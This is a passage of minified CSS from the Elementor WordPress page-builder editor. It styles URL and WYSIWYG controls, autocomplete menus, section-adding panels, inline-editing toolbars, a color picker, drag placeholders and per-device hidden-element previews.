.elementor-control-url-more-options { display: none; padding-block-start: 10px; } .elementor-control-type-url .elementor-control-url-more-options .elementor-control-field-description { margin-block-start: 10px; } .elementor-control-type-url .elementor-control-url-more:hover { color: var(--e-a-color-txt-hover); } .elementor-control-type-url .elementor-control-url-more:focus { color: var(--e-a-color-txt-active); border-color: var(--e-a-border-color-focus); } .elementor-control-type-url .elementor-control-url-option { display: flex; align-items: center; } .elementor-control-type-url .elementor-control-url-option:not(:last-child) { padding-block-end: 10px; } .elementor-control-type-url .elementor-control-url-option input, .elementor-control-type-url .elementor-control-url-option label { cursor: pointer; } .elementor-control-type-url .elementor-control-url-autocomplete-spinner { display: none; position: absolute; top: 5px; right: 0; width: 10px; height: 10px; font-size: 10px; color: var(--e-a-color-txt-disabled); } .elementor-control-type-url .elementor-control-url__custom-attributes label { font-size: var(--control-title-size); } .elementor-control-type-url .elementor-control-url__custom-attributes input { width: 100%; margin-block-start: 10px; } .elementor-control-type-url .elementor-input:focus ~ div { border-color: var(--e-a-border-color-focus); } .elementor-autocomplete-menu { position: absolute; background: var(--e-a-bg-default); border: var(--e-a-border); margin: 0; list-style: none; padding: 4px 0; height: auto; width: 100%; min-width: 260px; max-width: 300px; max-height: 200px; overflow-y: auto; border-radius: 3px; transition: var(--e-a-transition-hover); cursor: default; z-index: 1; } .elementor-autocomplete-menu .ui-menu-item { display: flex; justify-content: space-between; align-self: baseline; padding: 5px 8px; font-size: 12px; width: 100%; line-height: 1.2; cursor: pointer; } .elementor-autocomplete-menu .ui-menu-item.ui-state-hover, .elementor-autocomplete-menu .ui-menu-item.ui-state-active, .elementor-autocomplete-menu .ui-menu-item.ui-state-focus { background: var(--e-a-bg-hover); } .elementor-autocomplete-menu .elementor-autocomplete-item-info { font-size: 10px; padding-block-start: 2px; } .elementor-control-type-wp_widget .widget-inside { line-height: 2; background-color: inherit; display: block; } .elementor-control-type-wp_widget .quicktags-toolbar input { width: auto; } .elementor-control-type-wysiwyg * { box-sizing: content-box; } .elementor-control-type-wysiwyg .wp-editor-container { border: var(--e-a-border); } .elementor-control-type-wysiwyg .wp-editor-tabs { border: var(--e-a-border-bold); border-block-end: none; border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: 0; border-end-start-radius: 0; } .elementor-control-type-wysiwyg .wp-editor-tabs button:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-wysiwyg #insert-media-button { height: initial; line-height: 24px; font-size: 10px; color: var(--e-a-color-txt); border-color: var(--e-a-border-color-bold); background-color: var(--e-a-bg-default); min-height: initial; } .elementor-control-type-wysiwyg .ed_button { height: 22px; width: initial; } .elementor-control-type-wysiwyg .wp-media-buttons-icon { height: 14px; margin: 0; } .elementor-control-type-wysiwyg .wp-media-buttons-icon:before { font-size: 14px; } .elementor-control-type-wysiwyg .wp-switch-editor { position: static; border: none; margin: 0; color: var(--e-a-color-txt); font-size: 10px; padding: 3px 9px 4px; } .elementor-control-type-wysiwyg .switch-html { border: solid var(--e-a-border-color-bold); border-width: 0 1px; } .elementor-control-type-wysiwyg .html-active .switch-tmce { background-color: transparent; } .elementor-control-type-wysiwyg .html-active .switch-html { background-color: var(--e-a-bg-active); } .elementor-control-type-wysiwyg .tmce-active .switch-tmce { background-color: var(--e-a-bg-active); } .elementor-control-type-wysiwyg .tmce-active .switch-html { background-color: transparent; } .elementor-control-type-wysiwyg .mce-toolbar-grp, .elementor-control-type-wysiwyg .quicktags-toolbar { background-color: var(--e-a-bg-default); } .elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox { background-color: var(--e-a-bg-default); } .elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox button { color: var(--e-a-color-txt); } .elementor-control-type-wysiwyg .mce-toolbar-grp > div { padding: 0 3px; } .elementor-control-type-wysiwyg .elementor-wp-editor { box-sizing: border-box; } .elementor-control-type-wysiwyg .mce-ico { color: var(--e-a-color-txt); font-size: 16px; } .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active { color: var(--e-a-color-txt-active); background: var(--e-a-bg-hover); border-color: var(--e-a-border-color); box-shadow: none; } .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover i, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active i, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active i { color: var(--e-a-color-txt-active); } .elementor-control-type-wysiwyg .mce-path { padding: 5px 10px; } .elementor-control-type-wysiwyg .mce-path-item { font-size: 12px; color: var(--e-a-color-txt); } .elementor-control-type-wysiwyg .mce-top-part:before { box-shadow: none; } .elementor-control-type-wysiwyg .elementor-control-dynamic-switcher { border: none; } @media screen and (prefers-color-scheme: dark) { #wp-link-wrap { color-scheme: light; --e-a-color-txt: #515962; --e-a-bg-default: #ffffff; --e-a-border-color-bold: #D5D8DC; --e-a-color-primary-bold: #D004D4; } #wp-link { color: var(--e-a-color-txt); } #wp-link input { background-color: var(--e-a-bg-default); border-color: var(--e-a-border-color-bold); } #wp-link input[type=checkbox] { border-color: var(--e-a-border-color-bold); } #wp-link input[type=checkbox]:checked { background: var(--e-a-color-primary-bold); } #wp-link input.button-primary { background: #2271b1; border-color: #2271b1; color: #fff; } } .ui-resizable-n { top: -5px; } .ui-resizable-e { right: -5px; } .ui-resizable-s { bottom: -5px; } .ui-resizable-w { left: -5px; } .ui-resizable-ne { top: -5px; right: -5px; } .ui-resizable-nw { top: -5px; left: -5px; } .ui-resizable-se { bottom: -5px; right: -5px; } .ui-resizable-sw { bottom: -5px; left: -5px; } .ui-resizable-n, .ui-resizable-s { left: 0; height: 10px; width: 100%; cursor: ns-resize; } .ui-resizable-e, .ui-resizable-w { top: 0; height: 100%; width: 10px; cursor: ew-resize; } .ui-resizable-ne, .ui-resizable-nw, .ui-resizable-se, .ui-resizable-sw { height: 15px; width: 15px; } .ui-resizable-nw, .ui-resizable-se { cursor: nwse-resize; } .ui-resizable-ne, .ui-resizable-sw { cursor: nesw-resize; } .ui-resizable-handle { position: absolute; } .ui-resizable-resizing { pointer-events: none; } :root { --e-p-draggable-color: #F0ABFC; --e-p-border-section: #F3BAFD; --e-p-border-section-hover: #F0ABFC; --e-p-border-section-invert: #0C0D0E; --e-p-border-con: #F3BAFD; --e-p-border-con-hover: #F0ABFC; --e-p-border-con-invert: #0C0D0E; --e-p-border-column: #9DA5AE; --e-p-border-column-hover: #818A96; --e-p-border-column-invert: #0C0D0E; --e-p-border-con-in: #9DA5AE; --e-p-border-con-in-hover: #818A96; --e-p-border-con-in-invert: #0C0D0E; --e-p-border-widget: #F3BAFD; --e-p-border-widget-hover: #F0ABFC; --e-p-border-widget-invert: #0C0D0E; --e-p-border-global: #5EEAD4; --e-p-border-global-hover: #1DDDBF; --e-p-border-global-invert: #0C0D0E; } .elementor-add-section { all: initial; display: flex; max-width: 1160px; position: relative; margin-inline: auto; } .elementor-add-section:not(.elementor-dragging-on-child) .elementor-add-section-inner { border: 2px dashed var(--e-a-border-color-bold); background-color: rgba(255, 255, 255, 0.5); } .elementor-add-section.elementor-dragging-on-child .elementor-add-section-inner { border: 2px dashed var(--e-a-color-primary); } .elementor-add-section[data-view=choose-action] .e-view:not(.elementor-add-new-section) { display: none; } .elementor-add-section[data-view=select-preset] .e-view:not(.elementor-select-preset) { display: none; } .elementor-add-section[data-view=select-container-preset] .e-view:not(.e-con-select-preset) { display: none; } .elementor-add-section[data-view=select-type] .e-view:not(.e-con-select-type) { display: none; } .elementor-add-section[data-view=select-container-preset-grid] .e-view:not(.e-con-select-preset-grid) { display: none; } .elementor-add-section-inner { text-align: center; margin: 20px; padding: 40px 0; display: flex; justify-content: center; flex-grow: 1; } .elementor-add-new-section { display: flex; justify-content: center; flex-wrap: wrap; gap: 5px; } .elementor-add-section-area-button { padding: 12px; height: 40px; width: 40px; border-radius: 50%; font-size: 16px; display: flex; outline: none; border: none; background-color: var(--e-a-bg-active); color: var(--e-a-color-black); transition: var(--e-a-transition-hover); cursor: pointer; } .elementor-add-section-area-button:hover { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-black); } .elementor-add-section-area-button i { margin: 0; } .elementor-add-section-area-button.e-button-primary { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .elementor-add-section-area-button.e-button-primary:hover { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .elementor-add-section-drag-title, .elementor-select-preset-title { font-family: var(--e-a-font-family); font-size: 13px; line-height: 1; color: var(--e-a-color-txt); } .elementor-add-section-drag-title { font-style: italic; font-weight: normal; margin-block-start: 10px; width: 100%; } .elementor-select-preset-title { font-weight: 500; text-transform: uppercase; } .elementor-add-section-close { right: 40px; } .elementor-add-section-back { left: 40px; } .elementor-wizard-icon { position: absolute; top: 40px; font-size: 20px; cursor: pointer; line-height: 1; color: var(--e-a-color-txt); } .elementor-wizard-icon:hover { color: var(--e-a-color-txt-hover); } .elementor-select-preset-list { list-style: none; padding: 0 25px; margin: 20px auto 0; overflow: hidden; max-width: 700px; } .elementor-select-preset-list .elementor-preset { cursor: pointer; margin: 0; padding: 10px; float: left; max-width: 33.333%; } .elementor-select-preset-list .elementor-preset:not(:hover) path, .elementor-select-preset-list .elementor-preset:not(:hover) rect { fill: var(--e-a-bg-active-bold); transition: 0.3s all; } .elementor-select-preset-list .elementor-preset:hover path, .elementor-select-preset-list .elementor-preset:hover rect { fill: var(--e-a-color-txt); } .elementor-select-preset-list .elementor-preset .e-preset--container { position: relative; display: flex; } .elementor-select-preset-list .elementor-preset .e-preset--container::before { content: var(--text); font-family: var(--e-a-font-family); font-size: 13px; font-weight: 500; position: absolute; left: 50%; top: 50%; color: var(--e-a-color-white); transform: translate(-50%, -50%); } .elementor-select-preset-list .elementor-preset svg { height: 50px; width: 100%; } .elementor-add-section[data-view=choose-action] .elementor-add-section-back { display: none; } .elementor-add-section[data-view=select-preset] .elementor-add-section-back { display: none; } .elementor-add-section[data-view=select-type] .elementor-add-section-back { display: none; } #elementor-add-new-section { margin: 60px auto; } #elementor-add-new-section[data-view=choose-action] .elementor-add-section-close { display: none; } .elementor-add-section-inline { margin: 10px auto; width: 100%; } @keyframes placeholder-section { 0% { height: 0; opacity: 0; } 100% { height: 40px; opacity: 0.9; } } @keyframes placeholder-widget { 0% { height: 0; opacity: 0; } 100% { height: 10px; opacity: 0.9; } } @keyframes section-outline { 0% { opacity: 0; } 100% { opacity: 1; } } body.elementor-editor-active .elementor.elementor-edit-mode.layout-section .entry-content { overflow: visible; } body.elementor-editor-active .elementor.elementor-edit-mode .article { overflow: visible; } body.elementor-editor-active .elementor.elementor-edit-mode .elementor-element-overlay .elementor-editor-element-settings { clear: unset; } body.elementor-editor-active .elementor.elementor-edit-mode .elementor-element.elementor-section { overflow: visible; } .elementor-edit-area .animated { animation-fill-mode: none !important; } .elementor-edit-area ul.elementor-editor-element-settings { word-break: normal; padding: 0; } .elementor-edit-area .gallery { opacity: 1; } .pen { position: relative; outline: none; } .pen:not([data-elementor-inline-editing-toolbar=advanced]) { white-space: pre-wrap; } .pen-menu { box-shadow: 1px 2px 3px -2px #222; background-color: #3f444b; position: fixed; overflow: hidden; border-radius: 3px; z-index: 9999; } .pen-menu:after { top: 100%; content: ""; position: absolute; border: 6px solid transparent; border-block-start-color: #3f444b; left: 50%; transform: translateX(-50%); } .pen-menu-below:after { top: 0; transform: translateX(-50%) translateY(-100%) rotate(180deg); } .pen-icon { position: relative; display: flex; align-items: center; justify-content: center; height: 35px; padding: 0 10px; font-size: 21px; color: #D5D8DC; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .pen-icon:hover { background: #1f2124; } .pen-icon[data-group], .pen-icon[data-action=closeGroup] { display: none; } .pen-icon[data-action=close]:before { content: ""; position: absolute; left: 0; height: 60%; width: 1px; background-color: #1f2124; } .pen-icon.active { background-color: #1f2124; box-shadow: inset 2px 2px 4px #1f2124; } .pen-group-icon:after { font-family: eicons; font-size: 12px; content: "\e92a"; padding-inline-start: 4px; color: #2563EB; } .pen-input-wrapper { align-items: center; } .pen-input-wrapper .pen-url-input { font-size: 12px; line-height: 1.5; padding: 0; padding-inline-start: 10px; padding-inline-end: 10px; width: 250px; direction: ltr; } .pen-input-wrapper .pen-url-input, .pen-input-wrapper .pen-url-input:focus { background-color: transparent; border: none; outline: none; box-shadow: none; color: #fff; } .pen-input-wrapper .pen-url-input::-moz-placeholder { color: #D5D8DC; } .pen-input-wrapper .pen-url-input::placeholder { color: #D5D8DC; } .pen-input-label { margin: 0; margin-inline-end: -1px; } .pen-placeholder:before { content: attr(data-pen-placeholder); position: absolute; font-weight: normal; color: #757575; opacity: 0.6; } .pen-external-url-checkbox { display: none; } .pen-external-url-checkbox:checked + i { color: #fff; } .elementor-inline-editing i:not([class]) { font-style: italic; } .elementor-inline-editing b { font-weight: bold; } .elementor-inline-editing u { text-decoration: underline; } .e-element-color-picker { --primary-color: #2563EB; --swatch-size: 25px; cursor: default; display: flex; position: absolute; width: calc((var(--count) + 1) * var(--swatch-size)); height: var(--swatch-size); top: var(--top); left: var(--left); right: var(--right, unset); border-radius: 3px; opacity: 0; pointer-events: none; z-index: 9998; background-color: var(--primary-color); padding: 1px; box-sizing: content-box; transition: opacity 0.3s, width 0.3s; } .e-element-color-picker.e-picker-hidden { opacity: 0; pointer-events: none; } .e-element-color-picker::before { content: ""; flex: 0 1 var(--swatch-size); max-width: 100%; height: 100%; box-sizing: border-box; text-align: center; } .e-element-color-picker::after { content: "\e91e"; font-family: "eicons"; color: #FFF; font-size: 1rem; line-height: var(--swatch-size); position: absolute; left: 0.3rem; z-index: -1; } .e-element-color-picker__swatch { flex: 1 0 var(--swatch-size); max-width: 100%; height: 100%; cursor: pointer; transition: var(--e-a-transition-hover); position: relative; overflow: hidden; border-radius: inherit; /* Hack to fix transparent `--color` on hover */ background: linear-gradient(var(--color), var(--color)), linear-gradient(var(--primary-color), var(--primary-color)); } .e-element-color-picker__swatch:not(:first-child) { border-left: 1px solid var(--primary-color); } .e-element-color-picker__swatch::before { content: attr(data-text); position: absolute; left: 50%; top: 50%; opacity: 0; color: var(--color); font-size: 10px; font-weight: 300; font-family: Roboto, Arial, Helvetica, sans-serif; transform: translate(-50%, -50%); filter: hue-rotate(180deg) grayscale(1) contrast(999) invert(1); transition: inherit; } .e-element-color-picker__swatch:hover { flex-basis: calc(2 * var(--swatch-size)); flex-shrink: 0; } .e-element-color-picker__swatch:hover::before { opacity: 1; } .e-ui-state--elements-color-picker-color-picking__on *:not(.e-element-color-picker__swatch) { cursor: url("../images/eyedropper.svg") 0 20, pointer; } .e-ui-state--elements-color-picker-color-picking__on .e-element-color-picker:not(.e-picker-hidden):hover, .e-ui-state--elements-color-picker-color-picking__on .elementor-element:hover > .e-element-color-picker:not(.e-picker-hidden), .e-ui-state--elements-color-picker-color-picking__on .elementor-widget-container:hover + .e-element-color-picker:not(.e-picker-hidden) { opacity: 1; pointer-events: all; } .e-ui-state--elements-color-picker-color-picking__on .elementor-section:hover { outline: 1px solid #2563EB; } /** * Contact Buttons has position: fixed, therefore the container results as `empty` * and it's not visible in the preview when the aside is hidden. */ .elementor-editor-preview .elementor-element:has(.e-contact-buttons) .elementor-widget-empty, .elementor-editor-preview .elementor-element:has(.e-floating-bars) .elementor-widget-empty { display: block; } [class^=eicon-flex], [class*=" eicon-flex"] { transition: 0.3s all; --is-ltr: 1; --is-rtl: 0; --rotation-direction: calc(var(--is-ltr) - var(--is-rtl)); } [class^=eicon-flex].eicon-inline, [class*=" eicon-flex"].eicon-inline { max-height: 1em; max-width: 1em; } [class^=eicon-flex]:is(.eicon-justify-start-h, .eicon-justify-end-h), [class*=" eicon-flex"]:is(.eicon-justify-start-h, .eicon-justify-end-h) { --rotation-direction: calc(var(--is-ltr) + var(--is-rtl)); } :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow), :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow) { transform: rotate(calc(var(--rotation-direction) * 90deg)); } :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v, .eicon-align-end-v), :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v, .eicon-align-end-v) { transform: rotate(calc(var(--rotation-direction) * -90deg)); } .e-ui-state--document-direction-mode__column-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end), .e-ui-state--document-direction-mode__column-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end) { transform: rotate(calc(var(--rotation-direction) * -90deg)); } .e-ui-state--document-direction-mode__row [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end), .e-ui-state--document-direction-mode__row [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end) { transform: rotate(calc(var(--is-rtl) * 180deg)); } .e-ui-state--document-direction-mode__row-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end), .e-ui-state--document-direction-mode__row-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end) { transform: rotate(calc(var(--is-ltr) * 180deg)); } html.elementor-html { margin-block-start: 0 !important; } .elementor-edit-area { position: relative; } .elementor.loading { opacity: 0.5; } .elementor-edit-area-active { --primary-color: var(--e-p-border-con); --secondary-color: var(--e-p-border-con-hover); --outline-color: var(--e-p-border-con-active); } .elementor-edit-area-active .e-con { --primary-color: var(--e-p-border-con); --secondary-color: var(--e-p-border-con-hover); --outline-color: var( --outline-color ); } .elementor-edit-area-active .e-con.e-dragging-over, .elementor-edit-area-active .e-con.elementor-dragging-on-child, .elementor-edit-area-active .e-con.e-con-boxed.elementor-html5dnd-current-element { outline: 1px solid var(--outline-color); } .elementor-edit-area-active .e-grid-outline { display: none; } .elementor-edit-area-active .elementor-element-editable.e-grid.e-con-full > .e-grid-outline { padding-block-start: var(--bc-padding-block-start, var(--padding-block-start)); padding-block-end: var(--bc-padding-block-end, var(--padding-block-end)); display: grid; position: absolute; top: 0; bottom: 0; pointer-events: none; grid-gap: var(--gap); justify-items: var(--justify-items); align-items: var(--align-items); grid-auto-flow: var(--grid-auto-flow); justify-content: var(--grid-justify-content); align-content: var(--grid-align-content); min-height: var(--min-height); padding-inline-end: var(--bc-padding-inline-end, var(--padding-inline-end)); padding-inline-start: var(--bc-padding-inline-start, var(--padding-inline-start)); width: 100%; left: 0; } .elementor-edit-area-active .elementor-element-editable.e-grid.e-con-boxed > .e-con-inner { position: relative; } .elementor-edit-area-active .elementor-element-editable.e-grid.e-con-boxed > .e-con-inner > .e-grid-outline { padding-block-start: var(--bc-padding-block-start, var(--padding-block-start)); padding-block-end: var(--bc-padding-block-end, var(--padding-block-end)); display: grid; position: absolute; top: 0; bottom: 0; pointer-events: none; grid-gap: var(--gap); justify-items: var(--justify-items); align-items: var(--align-items); grid-auto-flow: var(--grid-auto-flow); justify-content: var(--grid-justify-content); align-content: var(--grid-align-content); min-height: var(--min-height); width: var(--width); margin: 0 auto; } .elementor-edit-area-active .elementor-element-editable.e-grid .e-grid-outline-item { border: 1px dashed #9DA5AE; pointer-events: none; width: 100%; height: 100%; } .elementor-edit-area-active .elementor-inner-section:first-child { margin-block-start: 15px; } .elementor-edit-area-active .elementor-widget-wrap.elementor-element-empty { min-height: 30px; } @media (min-width: 768px) { .elementor-edit-area-active .elementor-widget-wrap.elementor-element-empty { margin: 10px; } } .elementor-edit-area-active .elementor-column { min-width: 25px; } .elementor-edit-area-active .elementor-widget.elementor-loading { opacity: 0.3; } .elementor-edit-area-active .elementor-widget.elementor-element-edit-mode:hover { box-shadow: 0 0 0 1px var(--e-p-border-widget); } .elementor-edit-area-active .elementor-widget.elementor-element-editable, .elementor-edit-area-active .elementor-widget.elementor-element-editable:hover { box-shadow: 0 0 0 2px var(--e-p-border-widget); } .elementor-edit-area-active .elementor-widget:not(:hover) .elementor-editor-element-settings { display: none; } .elementor-edit-area-active .elementor-widget.ui-draggable-dragging { pointer-events: none; } .elementor-edit-area-active .elementor-editor-element-setting { cursor: pointer; display: flex; align-items: center; justify-content: center; padding: 0; margin: 0; font-size: 11px; color: var(--e-p-border-widget-invert); width: 25px; transition: var(--e-a-transition-hover); } .elementor-edit-area-active .elementor-inline-editing { min-height: 15px; } .elementor-edit-area-active .elementor-edit-hidden { display: none; } .elementor-section-wrap:empty { min-height: 25px; } .elementor-section-wrap > :first-child > .elementor-element-overlay { z-index: 9999; } .elementor-element > .elementor-element-overlay { position: absolute; top: 0; right: 0; letter-spacing: 0; z-index: 9998; pointer-events: none; } .elementor-element-empty .elementor-sortable-placeholder { display: none; } .elementor-element.elementor-widget-empty { background-color: rgba(213, 216, 220, 0.8); } .elementor-element.elementor-widget-empty .elementor-widget-empty-icon { color: #BABFC5; font-size: 22px; display: block; text-align: center; padding: 10px 0; } .elementor-element:not(:hover):not(.elementor-element-editable) > .elementor-element-overlay .elementor-editor-element-settings { display: none; } .elementor-element--toggle-edit-tools > .elementor-element-overlay .elementor-editor-element-edit:not(.elementor-active) ~ * { width: 0; font-size: 0; } .elementor-element[data-side=top]:before, .elementor-element[data-side=bottom] + .elementor-element:before { content: ""; background-color: var(--e-p-draggable-color); transition-timing-function: ease-out; opacity: 0.9; height: 10px; animation: placeholder-widget 500ms; display: block; } .elementor-element[data-side=bottom]:last-child:after { content: ""; background-color: var(--e-p-draggable-color); transition-timing-function: ease-out; opacity: 0.9; height: 10px; animation: placeholder-widget 500ms; display: block; } .elementor-element.elementor-absolute, .elementor-element.elementor-fixed { cursor: grab; } .elementor-element.elementor-absolute:active, .elementor-element.elementor-fixed:active { cursor: grabbing; } .elementor-element.elementor-absolute .eicon-edit:before, .elementor-element.elementor-fixed .eicon-edit:before { content: "\e902"; } .elementor-editor-element-settings { position: absolute; display: flex; height: 26px; list-style: none; margin: 0; padding: 0; font-family: var(--e-a-font-family); font-size: 13px; font-weight: normal; font-style: normal; line-height: 1; z-index: 1; pointer-events: all; transition: var(--e-a-transition-hover); } @media (min-width: 1025px) { .elementor-editor-element-edit { cursor: move; } } .elementor-empty-view { position: absolute; top: 0; bottom: 0; left: 0; right: 0; z-index: 1; } .elementor-first-add { text-align: center; border: 1px dashed var(--e-a-border-color-bold); display: flex; height: 100%; width: 100%; position: absolute; align-items: center; justify-content: center; } .elementor-first-add .elementor-icon { font-size: 19px; color: #9DA5AE; cursor: pointer; } .elementor-sortable-helper { position: absolute; cursor: move; border: var(--e-a-border); border-radius: var(--e-a-border-radius); background-color: var(--e-a-bg-active); border-color: var(--e-a-border-color-accent); color: var(--e-a-color-active); text-align: center; } .elementor-sortable-helper .icon { font-size: 28px; padding-block-start: 15px; line-height: 1; } .elementor-sortable-helper .title-wrapper { display: flex; height: 40px; align-items: center; justify-content: center; } .elementor-sortable-helper .title { font-size: 11px; } .elementor-sortable-placeholder:not(.elementor-column-placeholder) { background-color: var(--e-p-draggable-color); animation-duration: 250ms; opacity: 0.9; width: 100%; align-self: stretch; } .e-con .elementor-first-add .elementor-sortable-placeholder:not(.elementor-column-placeholder) { align-self: center; } .e-swappable--active > .elementor-sortable-placeholder:not(.elementor-column-placeholder) { display: none; } .elementor-section-placeholder { height: 40px; animation-name: placeholder-section; } .elementor-widget-placeholder { height: 10px; animation-name: placeholder-widget; } .elementor-draggable-over:not([data-dragged-element=section]):not([data-dragged-is-inner=true]) > .elementor-empty-view > .elementor-first-add:after, .elementor-first-add.elementor-html5dnd-current-element:after { content: ""; background-color: var(--e-p-draggable-color); transition-timing-function: ease-out; opacity: 0.9; height: 10px; animation: placeholder-widget 500ms; width: 100%; } .e-con .elementor-draggable-over:not([data-dragged-element=section]):not([data-dragged-is-inner=true]) > .elementor-empty-view > .elementor-first-add:after, .e-con .elementor-first-add.elementor-html5dnd-current-element:after { display: none; } .elementor-draggable-over:not([data-dragged-element=section]):not([data-dragged-is-inner=true]) > .elementor-empty-view > .elementor-first-add .elementor-icon, .elementor-first-add.elementor-html5dnd-current-element .elementor-icon { display: none; } .elementor-draggable-over[data-dragged-element=section][data-dragged-is-inner=true] .elementor-inner-column .elementor-sortable-placeholder { display: none; } .elementor-editor-preview .elementor-element-overlay, .elementor-editor-preview .elementor-empty, .elementor-editor-preview .elementor-add-section, .elementor-editor-preview .elementor-add-section-inline, .elementor-editor-preview .elementor-empty-view, .elementor-editor-preview .elementor-widget-empty { display: none; } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile { display: inherit; background: repeating-linear-gradient(125deg, rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05) 1px, transparent 2px, transparent 9px); border: 1px solid rgba(0, 0, 0, 0.02); } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.e-con > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.e-con > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.e-con > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.e-con > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.e-con > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.e-con > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.e-con > .elementor-element-overlay { background-color: var(--e-a-bg-hover); mix-blend-mode: color; } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.e-con:before, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.e-con:before, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.e-con:before, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.e-con:before, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] 